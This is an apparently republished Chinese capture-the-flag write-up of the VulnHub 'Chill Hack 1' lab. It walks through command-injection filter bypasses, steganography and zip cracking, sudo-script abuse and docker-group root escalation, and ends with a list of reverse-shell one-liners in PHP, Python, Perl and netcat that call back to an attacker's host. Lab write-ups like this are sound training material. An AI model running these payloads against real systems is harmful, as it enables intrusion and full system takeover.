VulnHub-Chill-Hack 1 靶场渗透测试

作者:ch4nge
时间:2021.1.25

靶场信息:

地址:https://www.vulnhub.com/entry/chill-hack-1,622/
发布日期:2020年12月9日
难度:容易/中级
目标:获取标志Flag: 2 (User and root)

运行:VMware Workstation 16.x Pro(默认的NAT网络模式,VMware比VirtualBox更好地工作)

hint :枚举

前言

本次靶场使用VMware Workstation 16.x Pro进行搭建运行。将我的kali系统和靶机一样使用NAT网络模式。本次演练使用kali系统按照渗透测试的过程进行操作。在渗透的时候需要使用命令执行得到一个A用户shell,通过一个图片信息得到B用户的ssh密码,并在B用户上找到了存在sudo缺陷的脚本得到C用户的shell,并拿到user-flag,而B用户在docker组,利用docker进行提权至root。文章有不对的地方欢迎师傅指正~

一、信息搜集

1. 靶机ip

使用nmap进行扫描,得到ip 10.0.0.131

VulnHub-Chill-Hack 1 靶场渗透测试

2. 开放端口 服务

VulnHub-Chill-Hack 1 靶场渗透测试

PORT          STATE          SERVICE              VERSION
21/tcp        open            ftp                      vsftpd 3.0.3
22/tcp        open            ssh                     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp        open            http                    Apache httpd 2.4.29 ((Ubuntu))

3. ftp匿名访问

VulnHub-Chill-Hack 1 靶场渗透测试

下载文件,是一个提示

Anurodh told me that there is some filtering on strings being put in the command -- Apaar

VulnHub-Chill-Hack 1 靶场渗透测试

4. 网站信息搜集

首页

VulnHub-Chill-Hack 1 靶场渗透测试

二、漏洞探测

1. 目录扫描

dirb http://10.0.0.131/

VulnHub-Chill-Hack 1 靶场渗透测试

访问

http://10.0.0.131/secret/

VulnHub-Chill-Hack 1 靶场渗透测试

漏洞来的太快就像龙卷风~命令执行漏洞

三、漏洞利用

1. 命令执行漏洞利用

前面ftp里面拿到的提示说有字符串的过滤,想办法绕过

经过尝试发现可以使用管道符进行绕过

whoami|ls

VulnHub-Chill-Hack 1 靶场渗透测试

2. php反弹shell

whoami|php -r '$sock=fsockopen("10.0.0.129",8888);exec("/bin/bash -i &3 2>&3");'

VulnHub-Chill-Hack 1 靶场渗透测试

3. 信息搜集

在/var/www/files路径中发现hacker.php

VulnHub-Chill-Hack 1 靶场渗透测试

查看文件内容,得到提示

VulnHub-Chill-Hack 1 靶场渗透测试

在黑暗中看!你会找到答案的

继续寻找可用信息,在/var/www/files/images路径找到hacker-with-laptop_23-2147985341.jpg

由于靶机是CTF模式,是有可能存在信息隐写的。看图片名字应该是有信息隐藏在图片里面了,使用python httpserver搭建服务,将文件下载到本地

发现使用steghide可以将信息提取出来,得到backup.zip,解密需要密码

steghide extract -sf hacker-with-laptop_23-2147985341.jpg

VulnHub-Chill-Hack 1 靶场渗透测试

使用fcrackzip工具暴力破解zip密码,使用kali系统自带的/usr/share/wordlists/rockyou.txt字典

fcrackzip -D -u -p /usr/share/wordlists/rockyou.txt  backup.zip

VulnHub-Chill-Hack 1 靶场渗透测试

得到密码 pass1word

解压得到source_code.php

        Admin Portal

         Site Under Development ... 
        
                
Username:

Email:

Password:

Enter the OTP:

根据文件内容可以判断出这是登录页面的程序,判断输入的密码是否正确,正确密码的base64编码是

IWQwbnRLbjB3bVlwQHNzdzByZA==
解密:
[email protected]  ~/file/VulnHub/Chill_Hack  echo -n "IWQwbnRLbjB3bVlwQHNzdzByZA==" |base64 -d
[email protected]

密码:[email protected]

猜测密码是ssh用户的,查看ssh用户名anurodh、apaar、aurick

VulnHub-Chill-Hack 1 靶场渗透测试

分别使用ssh登录,在登录anurodh用户时成功

VulnHub-Chill-Hack 1 靶场渗透测试

在/home/apaar路径发现local.txt文件,没有读取权限。尝试获取apaar用户权限或者root权限进行读取

VulnHub-Chill-Hack 1 靶场渗透测试

4. 获取apaar用户权限

使用sudo -l查看可以以sudo的身份运行的命令

[email protected]:~$ sudo -l
Matching Defaults entries for anurodh on ubuntu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User anurodh may run the following commands on ubuntu:
    (apaar : ALL) NOPASSWD: /home/apaar/.helpline.sh

发现可以将/home/apaar/.helpline.sh作为apaar用户运行,且不需要输入密码

查看该文件,它会提示输入两次数据,然后将它们执行/dev/null,且第二次输入的命令可以被执行

VulnHub-Chill-Hack 1 靶场渗透测试

这里使用apaar用户运行文件,并在第二次信息输入/bin/bash,以尝试获取apaar用户的shell

VulnHub-Chill-Hack 1 靶场渗透测试

成功了!使用python3升级这个shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

VulnHub-Chill-Hack 1 靶场渗透测试

5. 得到第一个标志 USER-FLAG

{USER-FLAG: e8vpd3323cfvlp0qpxxx9qtr5iq37oww}

6. 使用LinEnum.sh获取apaar和anurodh用户的信息

LinEnum.sh是一个非常好用的脚本,有温馨提示,LinEnum脚本下载

在本地使用python HTTPServer搭建服务,在靶机的shell中下载LinEnum脚本

VulnHub-Chill-Hack 1 靶场渗透测试

运行脚本,得知当前用户(anurodh)在docker用户组(apaar没有)

$ chmod +x LinEnum.sh
$ ./LinEnum.sh

VulnHub-Chill-Hack 1 靶场渗透测试

四、权限提升

1. docker提权

安利一个很好用的网站https://gtfobins.github.io/

在gtfobins搜索docker获取相关信息,得到提权命令,获取root权限

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

VulnHub-Chill-Hack 1 靶场渗透测试

升级交互式shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

2. 得到第二个标志 ROOT-FLAG

{ROOT-FLAG: w18gfpn9xehsgd3tovhk0hby4gdp89bg}

VulnHub-Chill-Hack 1 靶场渗透测试

总结

靶机很友好,网站的命令执行漏洞探测很简单,这里补充一下在此次反弹shell的时候可以用到的方法

使用管道符绕过过滤

whoami|ls-->ls
whoami|ls /home-->ls /home

php

whoami|php -r '$sock=fsockopen("10.0.0.129",8888);exec("/bin/bash -i &3 2>&3");'

python3

whoami|python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.129",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

perl

whoami|perl -e 'use Socket;$i="10.0.0.129";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
whoami|perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.0.0.129:5555");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while;'

nc(netcat)

whoami|rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.129 5555 >/tmp/f

使用双引号绕过过滤

whoami""-->whoami
ls""-->ls

反弹shell

rm"" /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.129 5555 >/tmp/f

使用分号绕过过滤

ls;whoami-->whoami
ls;ls-->ls

反弹shell

ls;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.129 5555 >/tmp/f

本文为转载文章,源自互联网,由网络整理整理编辑,转载请注明出处:https://www.hacksafe.net/articles/web/4649.html

发表评论

电子邮件地址不会被公开。 必填项已用*标注